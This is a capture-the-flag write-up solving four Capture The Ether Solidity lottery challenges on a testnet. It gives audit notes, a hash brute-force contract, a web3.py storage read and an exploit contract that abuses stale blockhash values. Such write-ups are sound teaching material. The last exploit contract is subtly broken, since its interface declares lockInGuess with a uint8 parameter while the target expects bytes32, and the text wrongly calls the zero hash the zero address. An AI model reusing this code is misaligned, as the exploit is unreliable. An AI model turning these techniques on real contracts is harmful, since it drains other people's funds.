Guess the number
Code Audit
Copy pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42 ;
function GuessTheNumberChallenge () public payable {
require (msg.value == 1 ether );
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if (n == answer) {
msg.sender. transfer ( 2 ether );
}
}
}
The answer is just 42.
Solution
In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the GuessTheNumberChallenge
contract at the instance address:
Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42 ;
function GuessTheNumberChallenge () public payable {
require (msg.value == 1 ether );
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if (n == answer) {
msg.sender. transfer ( 2 ether );
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call guess()
with 42 as input and send over 1 ether:
Verify that the challenge is solved by calling the isComplete()
getter:
Guess the secret number
Code Audit
Copy pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365 ;
function GuessTheSecretNumberChallenge () public payable {
require (msg.value == 1 ether );
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if ( keccak256 (n) == answerHash) {
msg.sender. transfer ( 2 ether );
}
}
}
Since guess()
takes uint8 as input, we know that the range is 0 ~ 255. This is a small enough range for bruteforce attack.
Solution
Write a contract to bruteforce the hash:
Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;
contract HashBruteForce {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365 ;
function bruteForce () external view returns ( uint8 ) {
for ( uint8 i = 0 ; i < 256 ; i ++ ) {
if ( keccak256 (i) == answerHash) {
return i;
}
}
return 0 ;
}
}
The result is 170:
In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the GuessTheSecretNumberChallenge
contract at the instance address:
Copy // SPDX-License-Identifier: MIT
pragma solidity 0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365 ;
function GuessTheSecretNumberChallenge () public payable {
require (msg.value == 1 ether );
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if ( keccak256 (n) == answerHash) {
msg.sender. transfer ( 2 ether );
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call guess()
with 170 as input and send over 1 ether:
Verify that the challenge is solved by calling the getter isComplete()
.
Guess the random number
Code Audit
Copy pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge () public payable {
require (msg.value == 1 ether );
answer = uint8 ( keccak256 (block.blockhash(block.number - 1 ) , now));
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if (n == answer) {
msg.sender. transfer ( 2 ether );
}
}
}
The "random" number answer
is computed from block.number
. The truth is that answer
is not random at all. Since uint8 answer
is declared as a state variable, it is stored in blockchain storage and we can view it on Etherscan.
Solution
In Capture The Ether interface, click on the instance address and we are brought to https://ropsten.etherscan.io. Click "Internal Txns" and go into the only transaction. Click "State". Theoretically you can view the content of answer
here, but this page does not give me any data.
Instead, I choose to use some web3.py magic to read the storage. To read data from blockchain, we must have access to a node on that blockchain. An easier way to do this is using Infura .
Register an account at Infura and use web3.py to query the contract storage:
Copy from web3 import Web3
infura_url = 'https://ropsten.infura.io/v3/<your_infura_api_key>'
web3 = Web3 (Web3. HTTPProvider (infura_url))
# Instance address
address = '0xE29B0d7EdCFb9E9912C6a3b22a9Ad1a1CC1DEB5A'
a = web3 . eth . getStorageAt (address, 0 )
print ( int . from_bytes (a, "big" ))
# 106
Compile the following challenge contract in Remix:
Copy // SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge () public payable {
require (msg.value == 1 ether );
answer = uint8 ( keccak256 (block.blockhash(block.number - 1 ) , now));
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function guess ( uint8 n) public payable {
require (msg.value == 1 ether );
if (n == answer) {
msg.sender. transfer ( 2 ether );
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call guess()
with input 106 and send over 1 ether. Verify that the challenge is solved by calling the getter isComplete()
.
Predict the block hash
Code Audit
Copy pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge () public payable {
require (msg.value == 1 ether );
}
function isComplete () public view returns ( bool ) {
return address ( this ).balance == 0 ;
}
function lockInGuess ( bytes32 hash ) public payable {
require (guesser == 0 );
require (msg.value == 1 ether );
guesser = msg.sender;
guess = hash ;
settlementBlockNumber = block.number + 1 ;
}
function settle () public {
require (msg.sender == guesser);
require (block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0 ;
if (guess == answer) {
msg.sender. transfer ( 2 ether );
}
}
}
The essence is:
Copy bytes32 answer = block.blockhash(settlementBlockNumber);
where:
Copy settlementBlockNumber = block.number + 1 ;
Seems like we must find out block.number
, but do we?
Quote from Solidity doc :
The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero.
Here "zero" means the zero address address(0)
. In our case, since lockInGuess()
takes bytes32
, we should lock in 0x0000000000000000000000000000000000000000000000000000000000000000
as our guess. After calling lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000)
, we just have to wait 256 block time and then call settle()
.
Solution
Write an exploit contract and deploy it in Remix:
Copy pragma solidity ^0.4.21;
interface IPredictTheBlockHashChallenge {
function lockInGuess ( uint8 n) external payable ;
function settle () external ;
function isComplete () external view returns ( bool );
}
contract PredictTheBlockHashSolution {
address private owner;
IPredictTheBlockHashChallenge challenge;
function PredictTheBlockHashSolution ( address _challenge ) public {
owner = msg.sender;
challenge = IPredictTheBlockHashChallenge (_challenge);
}
function lockInGuess ( uint8 n) external payable {
challenge.lockInGuess. value (msg.value)(n);
}
function pwn () external payable {
challenge. settle ();
require (challenge. isComplete ());
owner. transfer ( address ( this ).balance);
}
function () public payable {}
}
Call lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000)
and then call pwn()
after an hour.